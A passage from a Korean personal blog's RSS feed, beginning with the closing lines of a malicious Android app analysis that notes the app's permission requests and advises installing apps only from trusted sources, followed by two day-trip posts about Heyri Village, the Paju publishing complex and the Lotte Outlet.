&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;연락처&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;접근&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;저장된&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사진&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;접근&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;등&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;추가&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;위험행위를&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;위한&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;권한을&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;요청하고&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;있지만&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;공격자&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;서버가&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;동작하지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;않는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;사유&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;등으로&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;추가&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;악성&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;행위는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;식별되지&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;않았다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;6. 결론&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 Google Play 스토어 외부에서 앱을 설치할 때 신뢰할 수 있는 출처에서만 다운로드 해야 한다. 만약 앱이 의심스러운 동작을 보이거나 악성 행위가 우려되는 상황이라면, 보안 전문가의 도움을 받아 정확한 진단과 대응 조치를 받는 것이 중요하다. 안전한 모바일 환경을 유지하기 위해 신중한 접근과 정보 보안 의식이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Report/Project</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/266</guid>
      <comments>https://gomguk.tistory.com/266#entry266comment</comments>
      <pubDate>Thu, 14 Nov 2024 00:09:09 +0900</pubDate>
    </item>
    <item>
      <title>[당일치기] 파주 여행기 (헤이리마을/출판단지/롯데아울렛) (2)</title>
      <link>https://gomguk.tistory.com/265</link>
      <description>&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://blog.peanutz.site/264&quot;&gt;&lt;br /&gt;[Travel/당일치기] - [당일치기] 파주 여행기 (헤이리마을/출판단지/롯데아울렛) (1)&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이어지는 글입니다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt; 파주 당일치기 여행코스&lt;/b&gt;&lt;br /&gt;1. 헤이리마을&lt;br /&gt;&amp;nbsp;- 식당 : 불고기&amp;amp;비빔밥&lt;br /&gt;&amp;nbsp;- 박물관 : 잇츠 콜라 박물관&lt;br /&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;2. 파주 출판단지&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&amp;nbsp;- 카페 : 문발리헌책방골목블루박스&lt;/span&gt;&lt;br /&gt;3. 롯데아울렛&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다음으로 이동한 곳은 출판단지이다. 출판사 및 출판 관련 업체들이 모여있는 곳이며, 공식 산업단지로도 인가된 곳이다. 얼마 전 실제로 출간 작업에 임하기도 했고 내 책이 어디서 만들어지나 궁금하기도 해서 호기심에 가보고 싶었던 곳이기도 하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이곳도 헤이리마을의 영향을 받아 독특한 디자인의 건축물들이 많다. 예술적 가치가 있는 건축물에 대해서만 허가를 내주었기 때문에 국내외 건축 디자이너 들에게 의뢰하여 지은 건물들이다. 많은 뮤직비디오의 촬영지가 되기도 하고 잡지나 쇼핑몰의 로케이션 촬영지가 되기도 한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;방문하기로 한 곳이 가장 유명하기도 한 &quot;지혜의 숲&quot;이었는데 이미 헤이리마을에서 많이 걷기도 했고 쉴 수 있는 카페를 방문하는 것으로 변경했다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;문발리헌책방골목블랙박스&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;✔ 위치 : 경기 파주시 문발로 240-21&lt;br /&gt;✔ 운영시간 :  평일 10:00~17:30, 주말 10:00~18:00&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이곳은 헌 책방이면서 카페인 곳이다. 책을 읽을 수 있는 다양한 공간이 마련되어 있고, 원하는 책을 가져가서 읽어도 된다. 카페이니 커피나 음료도 판매하고 있고 빵도 맛있다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;관광지 근처의 대형카페 같은 분위기와는 조금 다르다. 대단한 뷰나 엄청난 높이의 공간감을 주진 않지만 깊게 이어진 책장 사이를 다니다 보면 골목길을 다니는 기분이 든다. 자리도 책에 둘러쌓여 있다 보니 아늑한 느낌이 든다. 편하게 쉬면서 시간을 보낼 수 있었던 곳이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_FDF9D6B2-4995-4F4E-BC0C-B21B31676DE1_1_201_a.jpeg&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;1572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJ7WMq/btsKubQI8yW/e4aneB2XbBzwhdyHPvnV00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJ7WMq/btsKubQI8yW/e4aneB2XbBzwhdyHPvnV00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJ7WMq/btsKubQI8yW/e4aneB2XbBzwhdyHPvnV00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJ7WMq%2FbtsKubQI8yW%2Fe4aneB2XbBzwhdyHPvnV00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;442&quot; height=&quot;590&quot; data-filename=&quot;edited_FDF9D6B2-4995-4F4E-BC0C-B21B31676DE1_1_201_a.jpeg&quot; data-origin-width=&quot;1178&quot; data-origin-height=&quot;1572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;카운터 앞쪽에는 낭독 공연을 위한 공간이 있는데 평소에도 이용할 수 있도록 공간을 개방하고 있었다. 방문했을 때에는 바다영상과 소리를 재생하고 있었는데 약간 어두운 분위기와 독서등만 있는 공간은 또다른 분위기를 느낄 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2CCAA6D3-1A9D-4530-9806-E4BC84B652EB_1_105_c.jpeg&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFcJFW/btsKtpPE42O/KKW76JXXQ0Zy3N06egwm10/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFcJFW/btsKtpPE42O/KKW76JXXQ0Zy3N06egwm10/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFcJFW/btsKtpPE42O/KKW76JXXQ0Zy3N06egwm10/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFcJFW%2FbtsKtpPE42O%2FKKW76JXXQ0Zy3N06egwm10%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;478&quot; height=&quot;637&quot; data-filename=&quot;2CCAA6D3-1A9D-4530-9806-E4BC84B652EB_1_105_c.jpeg&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt; 롯데아울렛&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;✔ 위치 : 경기 파주시 문발로 302 롯데프리미엄아울렛&lt;br /&gt;✔ 운영시간 :  10:30~21:00&lt;br /&gt;✔ 주차 :  10월 기준, 주차요금 없음&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;오후 늦은 시간이 되어서 갈 곳을 찾던 중 롯데 아울렛을 방문하기로 했다. 여기는 다 아는 곳인데 벨리곰이 있었다. 몰랐는데 벨리곰은 롯데 홈쇼핑에서 만든 캐릭터 브랜드이자 유튜브 채널이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b57DBy/btsKtGRbNDl/de1cdy6YuDwbyae3leSkbk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b57DBy/btsKtGRbNDl/de1cdy6YuDwbyae3leSkbk/img.jpg&quot; style=&quot;width: 49.4577%; margin-right: 10px;&quot; width=&quot;525&quot; height=&quot;700&quot; data-widthpercent=&quot;50.04&quot; data-filename=&quot;375BC08A-E9B6-458E-9698-D53BF7DC1D58_1_102_o.jpeg&quot; data-origin-height=&quot;2048&quot; data-origin-width=&quot;1536&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b57DBy/btsKtGRbNDl/de1cdy6YuDwbyae3leSkbk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb57DBy%2FbtsKtGRbNDl%2Fde1cdy6YuDwbyae3leSkbk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;2048&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dD5kCC/btsKuzjd2xm/kkWJFkmQ2h6eWtTkr4ntnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dD5kCC/btsKuzjd2xm/kkWJFkmQ2h6eWtTkr4ntnk/img.png&quot; style=&quot;width: 49.3795%;&quot; data-widthpercent=&quot;49.96&quot; data-filename=&quot;edited_9BE26F42-BEF7-4277-B42A-01B693E86712_1_201_a.jpeg&quot; data-origin-height=&quot;1477&quot; data-origin-width=&quot;1106&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dD5kCC/btsKuzjd2xm/kkWJFkmQ2h6eWtTkr4ntnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdD5kCC%2FbtsKuzjd2xm%2FkkWJFkmQ2h6eWtTkr4ntnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1106&quot; height=&quot;1477&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;요즘 어린 친구들에게 인기라는 티니핑도 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;743B85E6-DBFA-4833-A8BC-39A1857BCDEA_1_102_o.jpeg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;2048&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNdquJ/btsKuAbjMA3/tFw4Ovf5G973A5VZoR3bzk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNdquJ/btsKuAbjMA3/tFw4Ovf5G973A5VZoR3bzk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNdquJ/btsKuAbjMA3/tFw4Ovf5G973A5VZoR3bzk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNdquJ%2FbtsKuAbjMA3%2FtFw4Ovf5G973A5VZoR3bzk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;557&quot; data-filename=&quot;743B85E6-DBFA-4833-A8BC-39A1857BCDEA_1_102_o.jpeg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;2048&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;서울로 돌아오며 끝&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_D244B371-F8BB-4C39-AFAA-A705BF080674_1_102_o.jpeg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;2048&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEeDde/btsKt8zIBjO/9K4wLn33ZfvKKsHqUmZMo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEeDde/btsKt8zIBjO/9K4wLn33ZfvKKsHqUmZMo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEeDde/btsKt8zIBjO/9K4wLn33ZfvKKsHqUmZMo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEeDde%2FbtsKt8zIBjO%2F9K4wLn33ZfvKKsHqUmZMo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;335&quot; height=&quot;447&quot; data-filename=&quot;edited_D244B371-F8BB-4C39-AFAA-A705BF080674_1_102_o.jpeg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;2048&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Travel/당일치기</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/265</guid>
      <comments>https://gomguk.tistory.com/265#entry265comment</comments>
      <pubDate>Wed, 13 Nov 2024 00:05:45 +0900</pubDate>
    </item>
    <item>
      <title>[당일치기] 파주 여행기 (헤이리마을/출판단지/롯데아울렛) (1)</title>
      <link>https://gomguk.tistory.com/264</link>
      <description>&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;&lt;br /&gt; 파주 당일치기 여행코스&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. 헤이리마을&lt;br /&gt;&amp;nbsp; - 식당 : 불고기&amp;amp;비빔밥&lt;br /&gt;&amp;nbsp; - 박물관 : 잇츠 콜라 박물관&lt;br /&gt;2. 파주 출판단지&lt;br /&gt;&amp;nbsp; - 카페 : 문발리헌책방골목블루박스&lt;br /&gt;3. 롯데아울렛&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2024년 늦여름, 기억에 남는 당일치기 여행지를 기록해둔다. 마을 내에 공간이 많아서 주차는 공터에 편하게 해도 되고 곳곳에 주차 구역도 있어 오랜만에 주차 스트레스 없이 놀고 온 곳이기도 하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;헤이리마을&lt;/b&gt;&lt;br /&gt;✔ 위치 : 경기 파주시 탄현면 헤이리마을길&lt;br /&gt;✔ 운영시간 : 매주 월요일 휴무, 시설마다 오픈시간 상이&lt;br /&gt;✔ 요금 : 마을 입장은 무료, 체험시설은 유료, 주차 가능 및 무료&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;헤이리마을은 2000년대부터 문화지구로 지정되어 박물관, 미술관, 서점 등 다양한 시설을 이용할 수 있다. 마을 규정이 모든 건축물에 대해 60%는 개방하도록 하고 있어 관광객들을 위한 전시, 공방 등으로 제공된다.&lt;/p&gt;
&lt;p&gt;&lt;iframe mapdata=&quot;addr=%EA%B2%BD%EA%B8%B0%20%ED%8C%8C%EC%A3%BC%EC%8B%9C%20%ED%83%84%ED%98%84%EB%A9%B4%20%EB%B2%95%ED%9D%A5%EB%A6%AC%201652-239&amp;amp;addtype=1&amp;amp;confirmid=8616522&amp;amp;docid=&amp;amp;idx=1&amp;amp;ifrH=362px&amp;amp;ifrW=490px&amp;amp;mapHeight=362&amp;amp;mapInfo=%7B%22version%22%3A2%2C%22mapWidth%22%3A490%2C%22mapHeight%22%3A362%2C%22mapCenterX%22%3A433780%2C%22mapCenterY%22%3A1191288%2C%22mapLevel%22%3A4%2C%22coordinate%22%3A%22wcongnamul%22%2C%22markInfo%22%3A%5B%7B%22markerType%22%3A%22standPlace%22%2C%22coordinate%22%3A%22wcongnamul%22%2C%22x%22%3A433783%2C%22y%22%3A1191291%2C%22clickable%22%3Atrue%2C%22draggable%22%3Atrue%2C%22icon%22%3A%7B%22width%22%3A35%2C%22height%22%3A56%2C%22offsetX%22%3A17%2C%22offsetY%22%3A56%2C%22src%22%3A%22%2F%2Ft1.daumcdn.net%2Flocalimg%2Flocalimages%2F07%2F2012%2Fattach%2Fpc_img%2Fico_marker2_150331.png%22%7D%2C%22content%22%3A%22%ED%97%A4%EC%9D%B4%EB%A6%AC%EC%98%88%EC%88%A0%EB%A7%88%EC%9D%84%22%2C%22confirmid%22%3A8616522%7D%5D%2C%22graphicInfo%22%3A%5B%5D%2C%22roadviewInfo%22%3A%5B%5D%7D&amp;amp;mapWidth=490&amp;amp;mapX=433780&amp;amp;mapY=1191288&amp;amp;map_hybrid=false&amp;amp;map_level=4&amp;amp;map_type=TYPE_MAP&amp;amp;rcode=4148032000&amp;amp;tel=031-946-8551&amp;amp;title=%ED%97%A4%EC%9D%B4%EB%A6%AC%EC%98%88%EC%88%A0%EB%A7%88%EC%9D%84&quot; src=&quot;/proxy/plusmapViewer.php?id=maps_1731421542861&quot; id=&quot;maps_1731421542861&quot; width=&quot;540px&quot; height=&quot;350px&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; data-ke-type=&quot;map&quot; data-maps-data=&quot;addr=%EA%B2%BD%EA%B8%B0%20%ED%8C%8C%EC%A3%BC%EC%8B%9C%20%ED%83%84%ED%98%84%EB%A9%B4%20%EB%B2%95%ED%9D%A5%EB%A6%AC%201652-239&amp;amp;addtype=1&amp;amp;confirmid=8616522&amp;amp;docid=&amp;amp;idx=1&amp;amp;ifrH=362px&amp;amp;ifrW=490px&amp;amp;mapHeight=362&amp;amp;mapInfo=%7B%22version%22%3A2%2C%22mapWidth%22%3A490%2C%22mapHeight%22%3A362%2C%22mapCenterX%22%3A433780%2C%22mapCenterY%22%3A1191288%2C%22mapLevel%22%3A4%2C%22coordinate%22%3A%22wcongnamul%22%2C%22markInfo%22%3A%5B%7B%22markerType%22%3A%22standPlace%22%2C%22coordinate%22%3A%22wcongnamul%22%2C%22x%22%3A433783%2C%22y%22%3A1191291%2C%22clickable%22%3Atrue%2C%22draggable%22%3Atrue%2C%22icon%22%3A%7B%22width%22%3A35%2C%22height%22%3A56%2C%22offsetX%22%3A17%2C%22offsetY%22%3A56%2C%22src%22%3A%22%2F%2Ft1.daumcdn.net%2Flocalimg%2Flocalimages%2F07%2F2012%2Fattach%2Fpc_img%2Fico_marker2_150331.png%22%7D%2C%22content%22%3A%22%ED%97%A4%EC%9D%B4%EB%A6%AC%EC%98%88%EC%88%A0%EB%A7%88%EC%9D%84%22%2C%22confirmid%22%3A8616522%7D%5D%2C%22graphicInfo%22%3A%5B%5D%2C%22roadviewInfo%22%3A%5B%5D%7D&amp;amp;mapWidth=490&amp;amp;mapX=433780&amp;amp;mapY=1191288&amp;amp;map_hybrid=false&amp;amp;map_level=4&amp;amp;map_type=TYPE_MAP&amp;amp;rcode=4148032000&amp;amp;tel=031-946-8551&amp;amp;title=%ED%97%A4%EC%9D%B4%EB%A6%AC%EC%98%88%EC%88%A0%EB%A7%88%EC%9D%84&quot; data-maps-thumbnail=&quot;https://ssl.daumcdn.net/map3/staticmap/image?center=433780%2C1191288&amp;amp;lv=4&amp;amp;size=540x350&amp;amp;srs=WCONGNAMUL&amp;amp;markers=symbol%3Asc_marker%7Clocation%3A433783%2C1191291&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;부지가 상당히 넓기 때문에 하고자 하는 체험활동을 미리 골라서 방문하는 것이 좋다. 하지만 건물들이 높지 않고 개성있는 건축물도 많아 단순히 산책으로 구경해도 볼거리가 많다. 길도 의도적으로 구불구불하게 만들었는데 길찾기는 어렵지만 모퉁이를 돌때마다 새로운 풍경을 볼수 있는 장점이 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjARs7/btsKtMw2pE1/soKIPr3KCorkVRkHtb4Hg0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjARs7/btsKtMw2pE1/soKIPr3KCorkVRkHtb4Hg0/img.jpg&quot; style=&quot;width: 39.0797%; margin-right: 10px;&quot; data-widthpercent=&quot;40.01&quot; data-filename=&quot;1DE53FC6-0B57-4D06-839E-C1615FC8B644_4_5005_c.jpeg&quot; data-origin-height=&quot;360&quot; data-origin-width=&quot;360&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjARs7/btsKtMw2pE1/soKIPr3KCorkVRkHtb4Hg0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjARs7%2FbtsKtMw2pE1%2FsoKIPr3KCorkVRkHtb4Hg0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/deOzS5/btsKvIsHtqr/eySP0dBaMpM26mTQJe3kek/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/deOzS5/btsKvIsHtqr/eySP0dBaMpM26mTQJe3kek/img.jpg&quot; style=&quot;width: 29.3098%; margin-right: 10px;&quot; width=&quot;396&quot; height=&quot;528&quot; 